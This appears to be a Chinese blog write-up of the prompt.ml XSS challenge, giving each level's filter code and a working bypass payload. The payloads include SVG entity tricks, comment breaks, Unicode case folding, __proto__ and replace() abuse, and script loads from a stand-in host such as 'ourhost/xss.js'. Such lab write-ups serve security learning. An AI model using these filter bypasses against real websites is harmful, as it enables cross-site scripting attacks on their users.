prompt(1) to win——XSSchallenge

前言

靶场:http://prompt.ml/

整体看来还是比较简单的XSS利用和绕过。当然也学习到一些新的姿势,学习记录。

第0关

"><script>prompt(1)</script>"<

第1关

<body onload=prompt(1)//
<img src=1 onerror=prompt(1)//

过滤了<***>的标签,我们可以通过//进行绕过。

function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

第2关

function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

这里过滤了[]=(主要是想破坏prompt(1)的结构。

但是我们可以通过&#28;HTML实体编码,将(编码,现在只需要一个能够将实体编码提前编码的标签或者功能即可。

<svg>标签 可以将HTML实体编码,先进行解析再加入标签!

于是我们可以有这样的payload

<svg><script>prompt(1)</script>

另外,我们也可以利用js的eval.call()函数,该函数用于调用js函数,我们可以利用${''}解析16进制或者unicode,与利用HTML实体替换(是一样的思路。

``是换行字符串,

${}是代码片段,可以执行js代码.

eval是可以把str转换为js代码执行的方法.

**call()** 方法使用一个指定的 this 值和单独给出的一个或多个参数来调用一个函数。

自ES2016起,带标签的模版字面量遵守以下转义序列的规则:

  • Unicode字符以”\u”开头,例如\u00A9
  • Unicode码位用”\u{}”表示,例如\u{2F804}
  • 十六进制以”\x”开头,例如\xA9
  • 八进制以”"和数字开头,例如\251

MDN-模板字符串

于是我们也可以使用这样的payload:

<script>eval.call`${'prompt\x281\x29'}`</script>
<script>eval.call`${'prompt\u00281\u0029'}`</script>

第3关

function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

啊这,学习了。。。

<!--...-->我们知道是注释,但是这样也是可以的<!--...--!>,这个我真没想到,也并没有找到相关信息==、

--!><img src=1 onerror=prompt(1)>

第4关

function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这里需要绕过同源的正则过滤,正则中显然是不允许调用https:prompt.ml以外的网站资源,但是由于http协议存在这样的用法:

http://username:password@hostname

所以,我们可以通过@来绕过这个正则。即https://prompt.ml/@ourhost.com这样就可以将prompt.ml/作为username。
但是实际上username不允许有/,出题者可能也是考虑到了这一点,加了decodeURIComponent,这样我们可以将prompt.ml%2f作为用户名进行绕过,最后的payload

http://prompt.ml%2f@ourhost/xss.js

xss.js
<script>prompt(1)</script>

第5关

function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

> ,onxxxx= ,focus替换为_, 我们可以使用type将属性覆盖为image,并且在html中,属性描述不在同一行并不影响解析,因此可以利用换行以及type覆盖类型构造onerror格式的xss

"type=image src=# onerror
="prompt(1)

第6关

function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

通过注释和代码,我们可以知道,这段代码是处理一个post请求,形式是:http://httpbin.org#{"name":"Matt"}具体过程是先提取url构造form表单,url赋值给form标签中的action,然后post内容加成input标签。action="javascript:alert(1)"的内容,但是后面还过滤了document.form[0].action内容,过滤了scriptdata

也就是说,如果是这样的话:

javascript:prompt(1)#{"name":"Matt"}

就会因为这样的if判断,script:会把其判断到了Action forbidden.

<form action="javascript:prompt(1)" method="post"><input name="name" value="Matt"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

可以通过增加一个action的post请求,这样过滤action就会过滤另一个子级tag<input name="action" value="Matt">

<form action="javascript:prompt(1)" method="post"><input name="action" value="Matt"></form>                         
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

最终payload:

javascript:prompt(1)#{"action":"Matt"}

第7关

function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

可以通过#来分割,结合注释,感觉还是大有可为的:

"><script>/*#*/prompt/*#*/(1)/*#*/</script>

"><svg/a=#"onload='/*#*/prompt(1)'

拼接之后的代码如下:

<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/prompt/*"></p>
<p class="comment" title="*/(1)/*"></p>
<p class="comment" title="*/</script>"></p>

也即:<p class="comment" title=""><script>prompt(1)</script>"></p>

第8关

function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

去除了一些字符[\r\n</"]

想要使代码执行,必须逃脱出双引号或者本行,那么逃逸利用了unicode。

首先用chrome F12打开开发者选项,然后利用console模块,输入:

'\u2028prompt(1)\u2028-->'

就生成了payload。

第9关

function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

本题会将输入的内容全部转换为大写,而且还会将<script>转换为<_SCRIPT>

toUpperCase():把字符串转换为大写,(而且还可以转换一些unicode字符)

本题将 ſ 转换为S,这里的ſ字符应该是某个国家的unicode字符,转换后恰好对应s,因此可以完成绕过。

payload:

< ſcript/ ſrc="http://localhost/xss.js"></ ſcript>

第10关

function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

可以想到的用字符分割prompt从而绕过第一个过滤

比较有趣的是刚好单引号被替换成空。

payload

p'rompt(1)

第11关

function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

本题正则过滤了大量的符号,基本思路是利用js的一个特性进行绕过。可以通过下面这个例子来理解

>var array={"n":1,"n":2}
undefined
>array.n
2

通过上面的例子我们知道,在js中,键名相同,输出后值是后面的变量的值,基本的构造思路是构造 ","message":"prompt(1)" 为了绕过正则,需要利用js的一个神奇的语法。

在js中,(prompt(1)) instaneof "1"和(prompt(1)) in "1"是可以成功弹窗的(可以自己在console试一下),其中双引号里面的1可以是任何字符,这里的in或者instanceof是运算符,所以可以有这样的语法结构。

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/instanceof

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/in

"(prompt(1))instanceof"
"(prompt(1))in"

第12关

function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

和第10关不同,这里或许需要通过toString进行绕过

parseInt(string,radix):解析一个字符串并返回一个整数

toString():把一个逻辑值转换为字符串并返回结果

基本思路便是将prompt进行转换,但是注意其中字母最大的是t,也就是说至少要30进制才能完全转换(0-9a-z)

parseInt("prompt",36)
1558153217
(1558153217).toString(36)
"prompt"

字符串就有了,所以Payload

eval((1558153217).toString(36))(1)

第13关

function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

本题需要了解一个js的proto属性

proto:每个对象都会在内部初始化这个属性,当访问对象的某个属性时,如果不存在这个属性,便会去proto里寻找这个属性。

可以在console做个实验

>test={"r":1,"__proto__":{"r":2}}
Object { r: 1 }
>test.r
1 // 属性存在就返回属性值
>delete test.r
true
>test.r
2 // 属性不存在就去找__proto__,返回其中属性值
>delete test.__proto__.r
true
>test.r
undefined

根据这样的特点,我们可以初步构造payload:

{"source":"#'","__proto__": {"source":"onerror=prompt(1)>"}}

但是这个payload可以绕过这段:

if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}

绕不过这段

var source = config.source.replace(/"/g, '');
return '<img src="{{source}}">'.replace('{{source}}', source);

于是便要利用replace的一个个人认为比较奇怪的特性。

替换字符串可以插入下面的特殊变量名:

变量名 代表的值
$$ 插入一个 “$”。
$& 插入匹配的子串。
$` 插入当前匹配的子串左边的内容。
$’ 插入当前匹配的子串右边的内容。
$n 假如第一个参数是 RegExp对象,并且 n 是个小于100的非负整数,那么插入第 n 个括号匹配的字符串。提示:索引是从1开始

参考:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace

不妨做个实验:

"aaabbbccc".replace('b',"$&V")
"aaabVbbccc" // aaab + V(插入内容) +bbccc
"aaabbbccc".replace('b',"$`V")
"aaaaaaVbbccc" // aaa + aaaV(插入内容) + bbccc
"aaabbbccc".replace('b',"$'V")
"aaabbcccVbbccc" // aaabbccc + Vbbccc(插入内容)

payload

{"source":"#'","__proto__": {"source":"$`onerror=prompt(1)>"}}

最终拼接的一个js代码就变成了:

<img src="<img src="onerror=prompt(1)>">

说实话,我被这道题的作者知识量和逻辑设计惊艳到了。。。

第14关

function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

函数先把输入转换为大写,第二层将//和字母换为data:,第三层将\\&+%和空白字符,vbs替换为_,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:

data:[<MIME type>][;charset=<charset>][;base64],<encoded data>1

其实整体可以视为三部分,即声明:参数+数据,逗号左边的是各种参数,右边的是数据。
MIME type,表示数据呈现的格式,即指定嵌入数据的MIME。

1、对于PNG的图片,其格式是image/png,如果没有指定,默认是text/plain
2、character set(字符集)大多数被忽略,默认是charset=US-ASCII。如果指定是的数据格式是图片时,字符集将不再使用。
3、base64,这一部分将表明其数据的编码方式,此处为声明后面的数据的编码是base64,我们可以不必使用base64编码格式,如果那样,我们将使用标准的URL编码方式,形如%XX%XX%XX的格式。

注意Base64是只能是大写字母和数字,否则会因为过滤规则出现乱码。

payload:

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

原理差不多应该是这样,比较好理解,但是笔者实际操作未成功。

第15关

function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

本题跟之前利用#和换行符绕过的思路类似,只不过本题需要再多加个svg以及用<!- --->进行注释

Payload:

"><svg><!--#--><script><!--#-->prompt<!--#-->(1)</script>

注释之后的HTML代码变成这样:

<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->(1)</script>" data-comment='{"id":3}'></p>

看到还有大佬利用模板字符串的方法,其实之前也有提到过:

"><script>`#${prompt(1)}#`</script>  

也就是说abc${prompt(1)}abc是可以正常执行的。

第-1关(隐藏关)

然后会有几个隐藏关卡,也挺有意思的:)但是因为这些技巧和方法很多是过时的,在最新版的谷歌浏览器中已经无法复现,或许在较早版本可以复现。这里我只学习一下思路和技巧。

function escape(input) {
// WORLD -1

// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');

return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}

过滤了[}<],判断长度必须大于1337,所以用到js变量提升,还用到了一个前面提到的关于replace的匹配技巧。

function history(A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A)$&prompt(1)

-2关

function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!=*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');

return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
}).join('\n');
}

和之前也差不多,但是现在过滤了!,*,可能就没法用注释了,但是我们可以用一些条件来绕过:

"><script>@if(0)#@end;prompt(1)@if(0)#@end</script>

https://docs.microsoft.com/en-us/scripting/javascript/reference/at-cc-on-statement-javascript
https://docs.microsoft.com/en-us/scripting/javascript/reference/at-if-statement-javascript

正如之前所说这两个连接所介绍的有些过时,在大部分较新浏览器上难以复现。

-3关

function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[&#>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
return '<input name="query" type="hidden" value="' + query + '">' +
script.outerHTML;
}

过滤了&#>

使用过滤脚本和实际的API之间的“误会”.该脚本试图压制使用字符,允许突破或更改API参数。可以通过使用;代替。然后,只需要注入一个点击处理程序,该处理程序将侦听并等待API来实际触发该事件,从而执行。

非常有意思的技巧!!

payload

"onclick=prompt(1) id="a";callback=a.click;

结果

<input name="query" type="hidden" value=""onclick=prompt(1) id="a";callback=a.click;"><script src="https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=&quot;onclick=prompt(1) id=&quot;a&quot;;callback=a.click;&amp;callback=swag"></script>

可惜的是,链接现在也失效了。

0xFF 参考链接

文章作者: V0WKeep3r
文章链接: http://v0w.top/2020/02/20/XSS-challenge/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏